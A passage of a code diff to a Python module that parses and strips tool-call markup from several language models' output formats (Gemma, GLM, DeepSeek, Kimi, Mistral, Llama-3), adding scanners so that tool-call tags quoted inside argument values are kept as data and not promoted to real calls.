         if text.startswith("</s>", cursor):
             cursor += len("</s>")
     return "".join(out)
 
 
+def _strip_gemma_wrapperless_calls(text: str, enabled_tool_names: Optional[set] = None) -> str:
+    """Strip closed wrapper-less Gemma ``call:NAME{...}`` calls with balanced brace
+    scanning (nested arguments are removed whole). ``enabled_tool_names`` gates the
+    strip like the parser gate: a disabled/example name stays visible; ``None``
+    strips every closed call."""
+    if _whole_content_is_json_value(text):
+        return text
+    n = len(text)
+    out = []
+    # Mirror the parse scan: a leading JSON answer's span is data, kept visible.
+    cursor = _leading_json_value_end(text) or 0
+    if cursor:
+        out.append(text[:cursor])
+    while cursor < n:
+        m = _GEMMA_BARE_TC_RE.search(text, cursor)
+        if not m:
+            out.append(text[cursor:])
+            break
+        disabled = enabled_tool_names is not None and m.group(1) not in enabled_tool_names
+        brace = m.end() - 1  # _GEMMA_BARE_TC_RE consumes through the opening ``{``
+        # Same boundary scanner as the parser: strip exactly what it consumed.
+        end = _gemma_body_brace_end(text, brace)
+        closed = end is not None
+        next_index = (end + 1) if closed else len(text)
+        if not closed:
+            # Unclosed call: drop an enabled call to EOS; keep a disabled/example name as prose.
+            out.append(text[cursor:] if disabled else text[cursor : m.start()])
+            break
+        if disabled:
+            # Disabled/example name is prose: keep it whole.
+            out.append(text[cursor:next_index])
+        else:
+            out.append(text[cursor : m.start()])
+        cursor = next_index  # already past the matching ``}``
+    return "".join(out)
+
+
 _FUNC_CLOSE_TAG_RE = re.compile(r"</function>")
 
 
@@ -327,16 +463,131 @@ def _strip_function_xml_calls(text: str, *, final: bool) -> str:
     return "".join(out)
 
 
-def strip_tool_markup(text: str, *, final: bool = False) -> str:
-    """Strip tool-call markup; ``final=True`` also drops trailing unclosed runs and trims."""
+def _glm_value_close(
+    text: str,
+    vs: int,
+    *,
+    strict: bool = False,
+) -> int:
+    """Index of the ``</arg_value>`` that really ends the GLM value at ``vs``: the
+    first one whose next non-space token is ``<arg_key>``, ``</tool_call>`` or
+    end-of-text AND that sits at balanced quote state (an embedded literal pair
+    like ``print("</arg_value></tool_call>")`` lives inside a still-open string).
+    Quote openers are contextual (single quote only after punctuation, so
+    apostrophes are prose; double quote also at word start), mirroring the Gemma
+    scanners. If no candidate balances, the first token-valid one wins -- except
+    in ``strict`` mode (Auto-Heal off), which refuses the in-quote fallback rather
+    than execute truncated arguments. Returns -1 if unclosed."""
+    n = len(text)
+    search = vs
+    first_candidate = -1
+    quote = ""
+    prev = ":"
+    prev_raw = ":"
+    qpos = vs  # quote-state cursor; advanced incrementally to each candidate
+    while True:
+        ve = text.find(_GLM_ARG_VAL_CLOSE, search)
+        if ve < 0:
+            return -1 if strict else first_candidate
+        j = ve + len(_GLM_ARG_VAL_CLOSE)
+        while j < n and text[j] in " \t\r\n":
+            j += 1
+        if j >= n or text.startswith(_GLM_ARG_KEY_OPEN, j) or text.startswith(_GLM_TC_CLOSE, j):
+            while qpos < ve:
+                ch = text[qpos]
+                if quote:
+                    if ch == "\\" and qpos + 1 < ve:
+                        qpos += 2
+                        continue
+                    if ch == quote:
+                        quote = ""
+                elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+                    quote = ch
+                if not ch.isspace():
+                    prev = ch
+                prev_raw = ch
+                qpos += 1
+            if not quote:
+                return ve
+            if first_candidate < 0:
+                first_candidate = ve
+        search = ve + len(_GLM_ARG_VAL_CLOSE)
+
+
+def _strip_glm_calls(text: str, *, final: bool) -> str:
+    """Strip GLM 4.x calls by scanning to each call's REAL ``</tool_call>`` (the one
+    after the last consumed ``<arg_value>``, mirroring ``_parse_glm_tool_calls``), so
+    a literal ``</tool_call>`` inside a value is data. Qwen ``<tool_call>{json}`` has
+    no NAME token and is left to the regex arms. ``final`` drops a truncated call to
+    EOS; otherwise it stays buffered."""
+    out: list[str] = []
+    cursor = 0
+    n = len(text)
+    while True:
+        m = _GLM_TC_OPEN_RE.search(text, cursor)
+        if not m:
+            break
+        apos = m.end()
+        close = -1
+        while True:
+            ks = text.find(_GLM_ARG_KEY_OPEN, apos)
+            tc = text.find(_GLM_TC_CLOSE, apos)
+            if tc >= 0 and (ks < 0 or tc < ks):
+                close = tc
+                break
+            if ks < 0:
+                break  # no close and no more keys -- truncated body
+            ke = text.find(_GLM_ARG_KEY_CLOSE, ks + len(_GLM_ARG_KEY_OPEN))
+            if ke < 0:
+                break
+            vstart = ke + len(_GLM_ARG_KEY_CLOSE)
+            while vstart < n and text[vstart] in " \t\r\n":
+                vstart += 1
+            if not text.startswith(_GLM_ARG_VAL_OPEN, vstart):
+                apos = ke + len(_GLM_ARG_KEY_CLOSE)
+                continue
+            vs = vstart + len(_GLM_ARG_VAL_OPEN)
+            ve = _glm_value_close(text, vs)
+            if ve < 0:
+                break  # unclosed <arg_value> -- truncated
+            apos = ve + len(_GLM_ARG_VAL_CLOSE)
+        if close >= 0:
+            out.append(text[cursor : m.start()])
+            cursor = close + len(_GLM_TC_CLOSE)
+            continue
+        # Truncated GLM call (no real close yet).
+        if final:
+            out.append(text[cursor : m.start()])
+            cursor = n
+        # Non-final: leave the unclosed call (and any tail) buffered as-is.
+        break
+    out.append(text[cursor:])
+    return "".join(out)
+
+
+def strip_tool_markup(
+    text: str,
+    *,
+    final: bool = False,
+    enabled_tool_names: Optional[set] = None,
+) -> str:
+    """Strip tool-call markup. ``final=False`` keeps in-progress markup buffered;
+    ``final=True`` also drops trailing unclosed runs and trims. ``enabled_tool_names``
+    gates the markerless Gemma ``call:NAME{...}`` strip so a disabled/example name in
+    prose is kept (mirrors the parser gate); ``None`` strips every closed call."""
     if final:
-        # End-of-turn only: drop a leading Magistral ``[THINK]...[/THINK]`` block (bracket form,
-        # not the ``<think>`` reasoning channel) so raw reasoning doesn't leak into display/history.
+        # Drop a leading Magistral ``[THINK]...[/THINK]`` at end-of-turn; its bracket
+        # form is not the ``<think>`` the reasoning channel renders.
         text = _strip_mistral_reasoning(text)
     text = _strip_mistral_closed_calls(text)
-    # Scan-strip the function-XML form first (parser-accurate: a literal ``<function=...>`` in
-    # a value is data, not a call); the regex arms below cover the other formats.
+    if final:
+        text = _strip_gemma_wrapperless_calls(text, enabled_tool_names)
+    # Scan-strip the function-XML form (a literal ``<function=...>`` inside a value is
+    # data). The regex arms below cover the other formats but no-op on function calls here.
     text = _strip_function_xml_calls(text, final = final)
+    # GLM 4.x: scan to the call's real </tool_call> so a literal one inside a value is data,
+    # not a leak. Qwen <tool_call>{json} is left to the regex arms.
+    text = _strip_glm_calls(text, final = final)
     pats = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS
     for pat in pats:
         text = pat.sub("", text)
@@ -347,8 +598,77 @@ def has_tool_signal(text: str) -> bool:
     return any(s in text for s in TOOL_XML_SIGNALS)
 
 
+# A Qwen/Hermes ``<tool_call>``/``<function=...>`` envelope whose arguments carry literal
+# DeepSeek/Kimi markers must parse as the OUTER call. Detect it opening before the first
+# marker so the pre-pass skips it.
+_EMBEDDED_MARKER_RE = re.compile(
+    _DEEPSEEK_OPEN_RE_SRC + "|" + re.escape(_KIMI_SECTION_BEGIN) + "|" + re.escape(_KIMI_CALL_BEGIN)
+)
+# Covers ``<function=NAME>`` and the attribute form. ``<|python_tag|>`` is Llama-3's
+# envelope too (built-in ``NAME.call(`` and custom ``{json}``), so a quoted DeepSeek/Kimi
+# example is data; the call-shaped lookahead mirrors the ``_TOOL_ALL_PATS`` python_tag arm
+# so a bare prose ``<|python_tag|>`` mention isn't treated as one.
+_OUTER_ENVELOPE_OPEN_RE = re.compile(
+    r'<tool_call>|<function(?:=|\s+name=")|<\|tool_call>'
+    r"|<\|python_tag\|>(?=\s*(?:\{|[A-Za-z_][\w.]*\())"
+)
+# CLOSED outer envelopes, each spanning to its REAL final close so a literal
+# ``</tool_call>``/``</function>`` inside a value is data. Wrapped Gemma counts too.
+_OUTER_ENVELOPE_CLOSED_PATS = (
+    re.compile(r"<tool_call>(?:(?!<tool_call>).)*</tool_call>", re.DOTALL),
+    _TOOL_CLOSED_PATS[1],
+    re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL),
+)
+
+
+def _marker_inside_leading_envelope(content: str, enabled_tool_names: Optional[set] = None) -> bool:
+    first_marker = _EMBEDDED_MARKER_RE.search(content)
+    if first_marker is None:
+        return False
+    # A leading bare-JSON or Mistral [TOOL_CALLS] call is an outer envelope too:
+    # a DS/Kimi marker in its argument strings is data.
+    i = 0
+    n = len(content)
+    while i < n and content[i] in " \t\n\r":
+        i += 1
+    if content.startswith("{", i):
+        end = _balanced_brace_end(content, i)
+        if end is not None and i < first_marker.start():
+            name = _top_level_bare_json_name(content[i : end + 1])
+            if name is not None and (enabled_tool_names is None or name in enabled_tool_names):
+                # The closed leading call owns the turn: a marker inside it is argument
+                # data, one after it a trailing example (same rule as the XML envelopes below).
+                return True
+            if name is not None and first_marker.start() <= end:
+                # A disabled-name leading object is prose (can't own the turn), but a marker
+                # inside its own strings stays data. A marker AFTER it falls through to the pre-pass.
+                return True
+    elif content.startswith(_MISTRAL_TRIGGER, i):
+        end = _mistral_region_end(content, i)
+        if end is not None and i < first_marker.start():
+            return True
+    # A closed outer call PRECEDING the first marker owns the turn; the pre-pass must
+    # not steal a trailing example or argument data.
+    for _pat in _OUTER_ENVELOPE_CLOSED_PATS:
+        m = _pat.search(content)
+        if m is not None and m.start() < first_marker.start():
+            return True
+    residue = content
+    for _pat in _OUTER_ENVELOPE_CLOSED_PATS:
+        residue = _pat.sub("", residue)
+    marker = _EMBEDDED_MARKER_RE.search(residue)
+    if marker is None:
+        return True
+    # A marker still stands; any opener left in the residue is UNCLOSED. One before the
+    # marker is a truncated outer call holding the marker as data: skip the pre-pass.
+    opener = _OUTER_ENVELOPE_OPEN_RE.search(residue)
+    return opener is not None and opener.start() < marker.start()
+
+
 def _mistral_region_end(text: str, idx: int) -> int | None:
-    """Exclusive end of the balanced ``[TOOL_CALLS]`` call at ``idx``, or ``None`` when truncated (array, object, and named forms)."""
+    """Exclusive end of the balanced ``[TOOL_CALLS]`` call starting at ``idx``,
+    or ``None`` when truncated/unrecognised (same shapes as the strip scan:
+    array, single-object, and named ``name [CALL_ID]? [ARGS]? {json}``)."""
     n = len(text)
     i = idx + len(_MISTRAL_TRIGGER)
     while i < n and text[i] in " \t\n\r":
@@ -384,8 +704,10 @@ def _xml_signal_inside_leading_mistral(content: str) -> bool:
     first_xml = _first_foreign_tool_signal(content)
     if first_xml is not None and first_xml < trig:
         return False
-    # Only plain prose precedes the trigger (preamble-tolerant); prose merely mentioning
-    # the marker has no parseable region and keeps the normal order.
+    # Only plain prose precedes the trigger: a visible preface must not hand
+    # the turn to a later XML literal (preamble-tolerant, like the
+    # wrapperless-Gemma guard). Prose that merely mentions the marker has no
+    # parseable region and keeps the normal order.
     return _mistral_region_end(content, trig) is not None
 
 
@@ -393,7 +715,8 @@ _ATTR_FUNC_OPEN_RE = re.compile(r'<function\s+name="')
 
 
 def _first_foreign_tool_signal(content: str) -> int | None:
-    """Offset of the first signal a non-envelope parser would fire on (XML forms plus the Llama-3 ``<|python_tag|>`` marker)."""
+    """Offset of the first tool signal a non-envelope parser would fire on
+    (XML forms plus ``<|python_tag|>``, which also runs before the Mistral parser)."""
     first = None
     for sig in ("<tool_call>", "<|tool_call>", "<function=", "<|python_tag|>"):
         p = content.find(sig)
@@ -402,37 +725,126 @@ def _first_foreign_tool_signal(content: str) -> int | None:
     attr = _ATTR_FUNC_OPEN_RE.search(content)
     if attr is not None and (first is None or attr.start() < first):
         first = attr.start()
+    # DeepSeek/Kimi markers are foreign to a JSON envelope too: a marker inside a leading
+    # object routes through the same guard (and, if disabled, the drop-and-parse-the-tail
+    # recursion, so a real call after the object is still reached).
+    marker = _EMBEDDED_MARKER_RE.search(content)
+    if marker is not None and (first is None or marker.start() < first):
+        first = marker.start()
     return first
 
 
 def _xml_signal_inside_leading_bare_json(content: str) -> bool:
-    """True when the first foreign signal sits inside a LEADING bare-JSON call's balanced body: quoted argument data, so the bare-JSON parser takes the outer call first."""
+    """True when the first foreign tool signal is a quoted literal inside a
+    LEADING bare-JSON call object or JSON answer -- data, not a real call
+    (sibling of ``_xml_signal_inside_leading_mistral``)."""
     i = 0
     n = len(content)
     while i < n and content[i] in " \t\n\r":
         i += 1
-    if i >= n or content[i] != "{":
+    if i >= n or content[i] not in "{[":
         return False
+    if content[i] == "[":
+        # A leading array is only ever a structured answer; its literals are data.
+        end = _balanced_bracket_end(content, i)
+        if end is None:
+            return False
+        try:
+            json.loads(content[i : end + 1])
+        except ValueError:
+            return False
+        first_xml = _first_foreign_tool_signal(content)
+        trig = content.find(_MISTRAL_TRIGGER)
+        if trig >= 0 and (first_xml is None or trig < first_xml):
+            first_xml = trig
+        return first_xml is not None and i < first_xml < end
     end = _balanced_brace_end(content, i)
     if end is None:
         return False
     if _top_level_bare_json_name(content[i : end + 1]) is None:
-        # Not a call object, but a nameless object that parses as real JSON is an envelope
-        # too (markup in its strings is data); non-JSON braced prose keeps the old behaviour.
+        # A NAMELESS object that parses as real JSON is a structured answer / envelope too:
+        # quoted markup is data, and the decline path drops it and parses the tail.
+        # Non-JSON braced prose keeps the old behaviour.
         try:
             json.loads(content[i : end + 1])
         except ValueError:
             return False
     first_xml = _first_foreign_tool_signal(content)
-    # The Mistral trigger is foreign to a JSON envelope too, so fold it into first_xml.
+    # The Mistral trigger is foreign to a JSON envelope too (its parser runs first).
     trig = content.find(_MISTRAL_TRIGGER)
     if trig >= 0 and (first_xml is None or trig < first_xml):
         first_xml = trig
-    # Inside the balanced body the signal is quoted argument data, so the leading call owns
-    # the turn; a non-call object takes the decline path (dropped, only the tail parsed).
+    # Inside the balanced body the signal is quoted data; after the closed object the
+    # leading call still owns the turn (mirrors the leading-Mistral rule).
     return first_xml is not None and i < first_xml
 
 
+def _signal_inside_leading_wrapperless_gemma(
+    content: str, enabled_tool_names: Optional[set]
+) -> bool:
+    """True when the first foreign tool signal is a quoted literal inside (or
+    after) a LEADING enabled wrapper-less Gemma call (sibling of the
+    Mistral/bare-JSON leading guards). Markerless form, so gated on an enabled
+    name (``None`` keeps the name-agnostic behaviour)."""
+    first = _first_foreign_tool_signal(content)
+    # The Mistral trigger is foreign to a Gemma call too (its parser runs first).
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig >= 0 and (first is None or trig < first):
+        first = trig
+    if first is None:
+        return False
+    # A preamble before ``call:NAME{...}`` is normal; what matters is an ENABLED balanced
+    # call beginning before the first foreign signal.
+    cursor = 0
+    while True:
+        m = _GEMMA_BARE_TC_RE.search(content, cursor)
+        if m is None or m.start() > first:
+            return False
+        if enabled_tool_names is not None and m.group(1) not in enabled_tool_names:
+            cursor = m.end()
+            continue
+        end = _gemma_body_brace_end(content, m.end() - 1)
+        if end is None:
+            return False
+        if m.end() - 1 < first <= end:
+            return True
+        # An enabled call that CLOSES before the signal still owns the turn (inside-or-after
+        # rule, as for closed bare-JSON/Mistral envelopes), gated on an enabled name.
+        return enabled_tool_names is not None and end < first
+
+
+def _disabled_gemma_call_end_containing_signal(
+    content: str, enabled_tool_names: Optional[set]
+) -> int | None:
+    """End offset (exclusive) of the earliest DISABLED wrapper-less Gemma call
+    whose balanced body contains the first foreign signal, else None. A disabled
+    name is prose, so the quoted literal is data: the caller drops the span and
+    recurses on the tail. An ENABLED call defers to the enabled-call guard."""
+    if enabled_tool_names is None:
+        return None
+    first = _first_foreign_tool_signal(content)
+    # Mirror the enabled-call guard: the Mistral trigger is foreign here too.
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig >= 0 and (first is None or trig < first):
+        first = trig
+    if first is None:
+        return None
+    cursor = 0
+    while True:
+        m = _GEMMA_BARE_TC_RE.search(content, cursor)
+        if m is None or m.start() > first:
+            return None
+        if m.group(1) in enabled_tool_names:
+            return None
+        end = _gemma_body_brace_end(content, m.end() - 1)
+        if end is None:
+            cursor = m.end()
+            continue
+        if m.end() - 1 < first <= end:
+            return end + 1
+        cursor = end + 1
+
+
 def parse_tool_calls_from_text(
     content: str,
     *,
@@ -440,26 +852,35 @@ def parse_tool_calls_from_text(
     allow_incomplete: bool = True,
     enabled_tool_names: Optional[set] = None,
 ) -> list[dict]:
-    """Return OpenAI-format tool calls, first-match wins. ``allow_incomplete`` heals truncated calls (``False`` = strict closed-only); ``enabled_tool_names`` gates the markerless bare-JSON form."""
-    # Drop Magistral reasoning before any dispatch so a rehearsed call inside
-    # [THINK]...[/THINK] is not promoted; keeps the parse path aligned with the display strip.
+    """Return OpenAI-format tool calls, first-match wins so calls are never double-counted.
+
+    ``allow_incomplete=True`` (default) heals truncated calls (missing close tag /
+    unclosed parameter); ``False`` accepts only well-formed closed calls (trailing
+    prose tolerated), matching llama-server's strict path when Auto-Heal is off.
+
+    ``enabled_tool_names`` gates only the markerless Llama-3.2 bare-JSON form (the
+    marker-based forms carry an explicit signal, so a disabled-tool name there is a
+    real call attempt). ``None`` keeps the name-agnostic behaviour."""
+    # Drop Magistral [THINK]...[/THINK] BEFORE dispatch: a rehearsed call inside it must
+    # never be promoted, and the parse path must agree with the display strip.
     content = _strip_mistral_reasoning(content)
 
-    # A leading bare-JSON value is decided FIRST so markup quoted in its arguments stays
-    # data. Must precede the Mistral guard, whose preamble tolerance would else claim a
-    # trigger quoted inside the leading object.
+    # A leading bare-JSON value is decided FIRST: a string argument quoting tool markup
+    # (XML or a Mistral trigger) must stay data, so the bare-JSON parser takes the outer
+    # call before any other pass. Precedes the Mistral guard, whose preamble tolerance
+    # would otherwise claim a trigger quoted inside the leading object.
     if _xml_signal_inside_leading_bare_json(content):
         calls = _parse_llama3_bare_json(
             content, id_offset = id_offset, enabled_tool_names = enabled_tool_names
         )
         if calls:
             return calls
-        # Disabled/example name: the leading object is ordinary content. Drop it and parse
-        # only the tail -- a real call after it still parses, nothing inside it is promoted.
+        # Disabled/example name: the leading object is content. Drop it and parse the tail.
         i = 0
         while i < len(content) and content[i] in " \t\n\r":
             i += 1
-        end = _balanced_brace_end(content, i)  # guard guarantees a balanced object
+        # The guard guarantees a balanced leading value (object or array).
+        end = (_balanced_brace_end if content[i] == "{" else _balanced_bracket_end)(content, i)
         return parse_tool_calls_from_text(
             content[end + 1 :],
             id_offset = id_offset,
@@ -467,8 +888,32 @@ def parse_tool_calls_from_text(
             enabled_tool_names = enabled_tool_names,
         )
 
+    # A leading enabled wrapper-less Gemma call is decided BEFORE the Mistral guard: its
+    # body reads as prose to the preamble tolerance below, so a quoted [TOOL_CALLS] would
+    # otherwise steal the turn.
+    if _signal_inside_leading_wrapperless_gemma(content, enabled_tool_names):
+        calls = _parse_gemma_tool_calls(
+            content,
+            id_offset = id_offset,
+            allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
+        )
+        if calls:
+            return calls
+
+    # A DISABLED wrapper-less Gemma call is prose: drop the span and parse the tail BEFORE
+    # the Mistral guard, whose preamble tolerance would otherwise parse a quoted trigger.
+    _prose_end = _disabled_gemma_call_end_containing_signal(content, enabled_tool_names)
+    if _prose_end is not None:
+        return parse_tool_calls_from_text(
+            content[_prose_end:],
+            id_offset = id_offset,
+            allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
+        )
+
     # A [TOOL_CALLS] call that is the first tool emission owns the turn: XML quoted in its
-    # arguments or in trailing prose is not promoted, and a plain-prose preface keeps it.
+    # arguments or trailing prose is not promoted over it, nor does a prose preface forfeit it.
     if _xml_signal_inside_leading_mistral(content):
         calls = _parse_mistral_tool_calls(
             content, id_offset = id_offset, allow_incomplete = allow_incomplete
@@ -476,8 +921,29 @@ def parse_tool_calls_from_text(
         if calls:
             return calls
 
-    # A leading MiniCPM/MiniMax ``<function name="...">`` call owns the turn: tool_healing
-    # does not know the wrapper, so gate it here. A signal before the opener keeps normal order.
+    # DeepSeek/Kimi markers are unique, so try them first -- unless an outer envelope
+    # opens before the first marker (then the marker is argument data).
+    if not _marker_inside_leading_envelope(content, enabled_tool_names):
+        # Dispatch by earliest opener so a quoted DS example inside a Kimi call (or vice
+        # versa) can't hijack the turn via fixed parser order.
+        _ds = _DEEPSEEK_BEGIN_RE.search(content)
+        _ds_pos = _ds.start() if _ds else len(content)
+        _km_section = content.find(_KIMI_SECTION_BEGIN)
+        _km_bare = content.find(_KIMI_CALL_BEGIN)
+        _km_pos = min(p for p in (_km_section, _km_bare, len(content)) if p >= 0)
+        pre_pass = [
+            (_ds_pos, _parse_deepseek_tool_calls),
+            (_km_pos, _parse_kimi_tool_calls),
+        ]
+        pre_pass.sort(key = lambda pair: pair[0])
+        for _pos, parser in pre_pass:
+            calls = parser(content, id_offset = id_offset, allow_incomplete = allow_incomplete)
+            if calls:
+                return calls
+
+    # A leading MiniCPM/MiniMax attribute-form call owns the turn: tool_healing doesn't know
+    # the <function name="..."> wrapper, so a <tool_call> quoted in its parameter would beat
+    # the outer call. Any earlier signal keeps normal order.
     attr = _ATTR_FUNC_OPEN_RE.search(content)
     if attr is not None:
         first_other = None
@@ -518,8 +984,9 @@ def parse_tool_calls_from_text(
             if calls:
                 return calls
 
-    # Qwen/Hermes, Qwen3.5 XML, and Gemma 4 use the shared tool_healing parser (the
-    # strict/Auto-Heal + nested-marker + ``<|"|>`` handling GGUF relies on).
+    # Qwen/Hermes, Qwen3.5 XML, and Gemma 4 go through the shared tool_healing
+    # parser (strict/Auto-Heal contract + nested-marker, trailing-prose, and
+    # ``<|"|>`` quoted-string handling the GGUF path relies on).
     calls = _tool_healing.parse_tool_calls_from_text(
         content,
         id_offset = id_offset,
@@ -528,11 +995,11 @@ def parse_tool_calls_from_text(
     if calls:
         return calls
 
-    # Formats tool_healing does not cover: ``<function name="...">`` (MiniCPM-5 / MiniMax-M2),
-    # Llama-3 and Mistral. Run only after tool_healing found nothing, so a strict-rejected
-    # call is never re-healed here. Blank any JSON/Gemma marker coverage first: markup inside
-    # a marker's span (even one that failed to parse) is that call's data, not a sibling, so
-    # a nested ``<function=...>`` / ``<|python_tag|>`` / ``[TOOL_CALLS]`` must not be promoted.
+    # Formats tool_healing does not cover; these run only after it finds
+    # nothing, so a strict-rejected call is never re-healed here. Blank any
+    # JSON/Gemma marker coverage first: markup inside a marker's span (even one
+    # that failed to parse) is that call's data, not a sibling, so a nested
+    # ``<function=...>`` / ``<|python_tag|>`` / ``[TOOL_CALLS]`` must not be promoted.
     fallback_content = content
     coverage = _tool_healing.marker_coverage(content)
     if coverage:
@@ -542,6 +1009,7 @@ def parse_tool_calls_from_text(
                 chars[i] = " "
         fallback_content = "".join(chars)
     for parser in (
+        _parse_glm_tool_calls,  # GLM 4.x <tool_call>name
         _parse_function_xml,  # <function name="..."> attribute form
         _parse_llama3_python_tag,  # Llama-3 <|python_tag|>
         _parse_mistral_tool_calls,  # Mistral [TOOL_CALLS]
@@ -550,11 +1018,22 @@ def parse_tool_calls_from_text(
         if calls:
             return calls
 
-    # Llama-3.2 bare ``{"name":..., "parameters":...}``. Strict (starts with ``{``
-    # and parses to the right shape) so plain prose stays untouched.
-    return _parse_llama3_bare_json(
+    # Llama-3.2 bare ``{"name":..., "parameters":...}`` (strict shape). Only a LEADING call
+    # object matches and owns the turn, so an enabled ``call:NAME{...}`` in its arguments
+    # stays data (Gemma never starts ``{``).
+    calls = _parse_llama3_bare_json(
         content, id_offset = id_offset, enabled_tool_names = enabled_tool_names
     )
+    if calls:
+        return calls
+
+    # Gemma wrapper-less ``call:NAME{...}``: markerless, so the same enabled-name gate applies.
+    return _parse_gemma_tool_calls(
+        content,
+        id_offset = id_offset,
+        allow_incomplete = allow_incomplete,
+        enabled_tool_names = enabled_tool_names,
+    )
 
 
 def _parse_tool_call_json(
@@ -569,8 +1048,9 @@ def _parse_tool_call_json(
         end = _balanced_brace_end(content, brace_start)
         if end is None:
             continue
-        # Strict mode: a balanced body that never closed its ``<tool_call>`` is truncated
-        # (trailing prose after the close is still tolerated).
+        # Strict mode: a balanced JSON body that never closed its ``<tool_call>``
+        # is a truncated call, not a finished one. Trailing prose after the close
+        # is still tolerated (matches the GGUF strict path).
         if not allow_incomplete and not content[end + 1 :].lstrip().startswith("</tool_call>"):
             continue
         try:
@@ -578,7 +1058,7 @@ def _parse_tool_call_json(
         except (json.JSONDecodeError, ValueError):
             continue
         name = obj.get("name", "")
-        # Accept both ``arguments`` (Hermes/Qwen) and ``parameters`` (Llama-3 drift).
+        # Accept ``arguments`` (Hermes/Qwen) and ``parameters`` (Llama-3 drift).
         args = obj.get("arguments")
         if args is None:
             args = obj.get("parameters", {})
@@ -601,7 +1081,10 @@ def _parse_tool_call_json(
 
 
 def _trim_param_value(val: str) -> str:
-    """Trim only the template's wrapping newline around an XML parameter value; ``str.strip()`` destroyed code/diff indentation."""
+    """Trim one wrapping newline the template adds around an XML parameter value
+    (``<parameter=k>\nVALUE\n</parameter>``), preserving inner indentation.
+    ``str.strip()`` destroyed code/diff indentation; SGLang's qwen3_coder trims only
+    the wrapping newline."""
     if val.startswith("\n"):
         val = val[1:]
     if val.endswith("\n"):
@@ -610,14 +1093,19 @@ def _trim_param_value(val: str) -> str:
 
 
 def _inside_open_parameter(text: str, pos: int) -> bool:
-    """True if ``pos`` is inside an unclosed ``<parameter>`` block, i.e. the opener at ``pos`` is literal argument data, not a nested call."""
+    """True if ``pos`` sits inside an unclosed ``<parameter>``/``<param>`` block --
+    i.e. a ``<function>`` / ``<parameter>`` opener at ``pos`` is a literal inside an
+    argument value (e.g. code that prints tool-call XML), not a real nested call.
+    Compares the last parameter opener before ``pos`` against the last
+    parameter/function close before it."""
     last_param_open = -1
     for m in _TC_PARAM_START_RE.finditer(text, 0, pos):
         last_param_open = m.start()
     if last_param_open < 0:
         return False
-    # The parameter's OWN close tag decides: if it closes after ``pos`` the position is
-    # argument data (even across literal ``</function>``); an unclosed one falls back to func close.
+    # The parameter's OWN close tag decides: while it closes after ``pos`` the position is
+    # argument data, even across several literal function closes. Only an unclosed
+    # parameter (heal mode) falls back to the first function close.
     own_closes = [
         c
         for c in (
@@ -647,7 +1135,7 @@ def _parse_function_xml(
 ) -> list[dict]:
     out: list[dict] = []
     # Skip ``<function ...>`` openers that are literals inside an open parameter value,
-    # else the nested marker becomes a second call and truncates the real argument.
+    # else the nested marker is promoted to a second call and truncates the real argument.
     func_starts = [
         fm
         for fm in _TC_FUNC_START_RE.finditer(content)
@@ -658,9 +1146,10 @@ def _parse_function_xml(
         func_name = fm.group(1) or fm.group(2)
         body_start = fm.end()
         next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
-        # The call ends at the FIRST </function> / </tool_call> not inside an open parameter:
-        # a literal close in an argument is skipped as data, prose after the real close is not
-        # folded in (mirrors _strip_function_xml_calls).
+        # The call ends at the FIRST </function> / </tool_call> not inside an open
+        # parameter: a literal close in a code/search argument is skipped as data, and
+        # prose after the real close isn't folded into the last argument (mirrors
+        # _strip_function_xml_calls and tool_healing._func_close_index).
         close_match = None
         for cm in _TC_END_TAG_RE.finditer(content, body_start, next_func):
             if not _inside_open_parameter(content, cm.start()):
@@ -671,14 +1160,14 @@ def _parse_function_xml(
             body_end = close_match.start()
         else:
             body_end = min(len(content), next_func)
-        # Strict mode: a call that never reached its close is truncated; do not heal it.
+        # Strict mode: an unclosed function call is truncated -- do not heal it.
         if not allow_incomplete and not has_close:
             continue
         body = _TC_FUNC_CLOSE_RE.sub("", content[body_start:body_end])
 
         args: dict = {}
         param_unclosed = False
-        # Same nested-literal guard: a ``<parameter>`` opener inside an open value is literal text.
+        # A ``<parameter>`` opener inside an open parameter value is literal text.
         param_starts = [
             pm
             for pm in _TC_PARAM_START_RE.finditer(body)
@@ -703,8 +1192,8 @@ def _parse_function_xml(
                 val = _TC_PARAM_CLOSE_RE.sub("", raw_val)
                 args[pm.group(1) or pm.group(2)] = _trim_param_value(val)
 
-        # Strict mode: every parameter must close; a dangling one means the call was cut off.
-        # A closed call with no parameters is a valid zero-argument call, so keep it.
+        # Strict mode: a dangling parameter means the call was cut off; a closed
+        # zero-parameter call stays valid.
         if not allow_incomplete and param_unclosed:
             continue
 
@@ -719,7 +1208,8 @@ def _parse_function_xml(
 
 
 def _llama3_kv_value(body: str, p: int, n: int) -> tuple[Any, int | None]:
-    """One ``.call`` value at ``body[p:]``; returns ``(value, len)`` or ``(None, None)``."""
+    """One ``.call`` value (string/number/true/false/null) at ``body[p:]``.
+    Returns ``(value, consumed_len)`` or ``(None, None)`` if none matches."""
     if p >= n:
         return None, None
     if body[p] == '"':
@@ -745,7 +1235,8 @@ def _llama3_kv_value(body: str, p: int, n: int) -> tuple[Any, int | None]:
     nm = _LLAMA3_NUM_RE.match(body, p)
     if nm:
         v = nm.group(0)
-        # Sci notation and decimals decode as float; a bare integer stays int.
+        # Scientific notation (1e-3, -2E+4, 0.5e2) and decimals decode as float; a bare
+        # integer stays int. ``"." in v`` alone missed the exponent forms (1e-3 -> 1).
         return (float(v) if any(c in v for c in ".eE") else int(v)), nm.end() - p
     lm = _LLAMA3_LIT_RE.match(body, p)
     if lm:
@@ -754,7 +1245,8 @@ def _llama3_kv_value(body: str, p: int, n: int) -> tuple[Any, int | None]:
 
 
 def _parse_llama3_kv_args(body: str) -> dict[str, Any]:
-    """Left-to-right ``k=v`` kwargs from a ``.call(...)`` body (linear scan; later keys win)."""
+    """``k=v, ...`` kwargs from a ``.call(...)`` body, left to right (later keys win).
+    Linear hand-scan replacing the quadratic ``_LLAMA3_KV_RE.finditer`` walk."""
     args: dict[str, Any] = {}
     n = len(body)
     i = 0
@@ -783,13 +1275,17 @@ def _parse_llama3_python_tag(
     id_offset: int,
     allow_incomplete: bool = True,
 ) -> list[dict]:
